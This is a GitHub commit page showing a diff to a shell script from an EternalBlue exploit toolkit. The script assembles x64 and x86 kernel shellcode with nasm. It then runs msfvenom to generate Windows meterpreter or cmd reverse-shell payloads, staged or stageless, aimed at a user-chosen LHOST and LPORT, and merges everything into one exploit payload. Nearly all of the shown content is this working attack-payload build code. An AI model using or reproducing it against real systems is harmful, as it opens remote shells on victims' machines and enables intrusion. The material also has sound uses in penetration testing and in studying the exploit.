Forgot to add the x86 part, now it will compile the kernel shellcode for both (#49)

* Script Enhancements for Improved Portability and Readability 🔧

I made the following changes to improve portability, readability, and organization:

Replaced Double Square Brackets with Single Square Brackets:

Replaced [[ ... ]] with [ ... ] to ensure compatibility with various shell interpreters.
Simplified Nested If Statements:

Simplified nested if statements for better readability and clarity.
Used -p Option with read Command:

Utilized the -p option with the read command to display a prompt message directly on the same line. 💻
Consolidated Common Code:

Consolidated common code blocks to avoid repetition and improve maintainability.

* Forgot to add the x86 part.

---------

Co-authored-by: Casey Erdmann <14339392+3ndG4me@users.noreply.github.com>
This commit is contained in:
IamCarron
2023-12-24 14:22:26 -05:00
committed by GitHub
co-authored by Casey Erdmann
parent 67759ed80c
commit 27363a9404
+52 -22
View File
@@ -17,50 +17,80 @@ echo 'Compiling x86 kernel shellcode'
nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin
echo kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? \(Y\/n\) echo kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? \(Y\/n\)
read genMSF read genMSF
if [ "$genMSF" = "y" ] || [ "$genMSF" = "Y" ]; then if [ "$genMSF" = "y" ] || [ "$genMSF" = "Y" ]; then
read -p "LHOST for reverse connection: " ip echo LHOST for reverse connection:
read -p "LPORT you want x64 to listen on: " portOne read ip
read -p "LPORT you want x86 to listen on: " portTwo echo LPORT you want x64 to listen on:
read portOne
read -p "Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell: " cmd echo LPORT you want x86 to listen on:
read portTwo
echo Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
read cmd
if [ "$cmd" -eq 0 ]; then if [ "$cmd" -eq 0 ]; then
read -p "Type 0 to generate a staged payload or 1 to generate a stageless payload: " staged echo Type 0 to generate a staged payload or 1 to generate a stageless payload
read staged
if [ "$staged" -eq 0 ]; then if [ "$staged" -eq 0 ]; then
echo "Generating x64 meterpreter shell (staged)..." echo Generating x64 meterpreter shell \(staged\)...
echo
echo msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
echo
echo Generating x86 meterpreter shell \(staged\)...
echo
echo msfvenom -p windows/meterpreter/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
msfvenom -p windows/meterpreter/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
elif [ "$staged" -eq 1 ]; then elif [ "$staged" -eq 1 ]; then
echo "Generating x64 meterpreter shell (stageless)..." echo Generating x64 meterpreter shell \(stageless\)...
echo
echo msfvenom -p windows/x64/meterpreter_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
msfvenom -p windows/x64/meterpreter_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne msfvenom -p windows/x64/meterpreter_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
echo
echo Generating x86 meterpreter shell \(stageless\)...
echo
echo msfvenom -p windows/meterpreter_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
msfvenom -p windows/meterpreter_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
else else
echo "Invalid option...exiting..." echo Invalid option...exiting...
exit 1 exit 1
fi fi
elif [ "$cmd" -eq 1 ]; then elif [ "$cmd" -eq 1 ]; then
read -p "Type 0 to generate a staged payload or 1 to generate a stageless payload: " staged echo Type 0 to generate a staged payload or 1 to generate a stageless payload
read staged
if [ "$staged" -eq 0 ]; then if [ "$staged" -eq 0 ]; then
echo "Generating x64 cmd shell (staged)..." echo Generating x64 cmd shell \(staged\)...
echo
echo msfvenom -p windows/x64/shell/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne msfvenom -p windows/x64/shell/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
echo
echo Generating x86 cmd shell \(staged\)...
echo
echo msfvenom -p windows/shell/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
msfvenom -p windows/shell/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
elif [ "$staged" -eq 1 ]; then elif [ "$staged" -eq 1 ]; then
echo "Generating x64 cmd shell (stageless)..." echo Generating x64 cmd shell \(stageless\)...
echo
echo msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portOne
echo
echo Generating x86 cmd shell \(stageless\)...
echo
echo msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$ip LPORT=$portTwo
else else
echo "Invalid option...exiting..." echo Invalid option...exiting...
exit 1 exit 1
fi fi
else else
echo "Invalid option...exiting..." echo Invalid option...exiting...
exit 1 exit 1
fi fi
echo
echo "MERGING SHELLCODE WOOOO!!!" echo MERGING SHELLCODE WOOOO!!!
cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
python3 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin python3 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
else else
echo "Okay cool, make sure you merge your own shellcode properly :)" echo Okay cool, make sure you merge your own shellcode properly :\)
fi fi
echo DONE
echo "DONE" exit 0
exit 0